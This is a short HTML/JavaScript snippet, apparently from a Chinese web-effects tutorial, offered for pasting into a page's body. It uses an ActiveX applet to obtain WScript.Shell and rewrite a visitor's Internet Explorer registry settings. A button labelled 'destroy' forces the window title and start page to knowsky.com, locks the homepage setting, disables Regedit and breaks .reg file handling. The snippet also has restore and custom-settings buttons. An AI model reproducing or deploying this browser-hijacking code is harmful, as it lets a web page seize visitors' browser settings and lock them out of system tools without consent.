<!-- 把下面代码加到<body>区域中 -->
<applet height=0 width=0 code=com.ms.activeX.ActiveXComponent></applet>
<script>
var ap,S
regWindowTitle="HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title"
regStartPage="HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page"
regHomePage="HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage"
regRegedit="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools"
regRegfile="HKCR\\.reg\\"
function reg(num){
switch(num){
case 1:
S.RegWrite(regWindowTitle,"网页教学网")
S.RegWrite(regStartPage,"http://www.knowsky.com")
S.RegWrite(regHomePage,1,"REG_DWORD")
S.RegWrite(regRegedit,1,"REG_DWORD")
S.RegWrite(regRegfile,"txtfile")
alert("成功破坏")
break;
case 2:
S.RegWrite(regWindowTitle,"Internet Explorer")
S.RegWrite(regStartPage,"http://www.jknowsky.com")
S.RegWrite(regHomePage,0,"REG_DWORD")
S.RegWrite(regRegedit,0,"REG_DWORD")
S.RegWrite(regRegfile,"regfile")
alert("成功恢复")
break;
default:
set()
alert("成功设置")
}
check()
}
function init(){
ap=document.applets[0];
ap.setCLSID("WScript.Shell")
ap.createInstance()
S=ap.GetObject()
check()
}
function check(){
try{
document.all("WindowTitle").value=S.RegRead(regWindowTitle)
document.all("StartPage").value=S.RegRead(regStartPage)
if(S.RegRead(regHomePage)!=0)
document.all("HomePage").checked=true
else
document.all("HomePage").checked=false
if(S.RegRead(regRegedit)!=0)
document.all("Regedit").checked=true
else
document.all("Regedit").checked=false
if(S.RegRead(regRegfile)!="regfile")
document.all("Regfile").checked=true
else
document.all("Regfile").checked=false
}catch(e){}
}
function set(){
S.RegWrite(regWindowTitle,document.all("WindowTitle").value)
S.RegWrite(regStartPage,document.all("StartPage").value)
if(document.all("HomePage").checked==true)
S.RegWrite(regHomePage,1,"REG_DWORD")
else
S.RegWrite(regHomePage,0,"REG_DWORD")
if(document.all("Regedit").checked==true)
S.RegWrite(regRegedit,1,"REG_DWORD")
else
S.RegWrite(regRegedit,0,"REG_DWORD")
if(document.all("Regfile").checked==true)
S.RegWrite(regRegfile,"txtfile")
else
S.RegWrite(regRegfile,"regfile")
}
onload=new Function("setTimeout('init()',500)")
</script>
<input type=button value=破坏 onclick="reg(1)">
<input type=button value=恢复 onclick="reg(2)">
<input type=button value=设置 onclick="reg()"><br>
标题:<input id="WindowTitle"><br>
首页:<input id="StartPage"><br>
<input type=checkbox id="HomePage">禁止主页修改<br>
<input type=checkbox id="Regedit">禁止使用Regedit<br>
<input type=checkbox id="Regfile">禁止使用Reg文件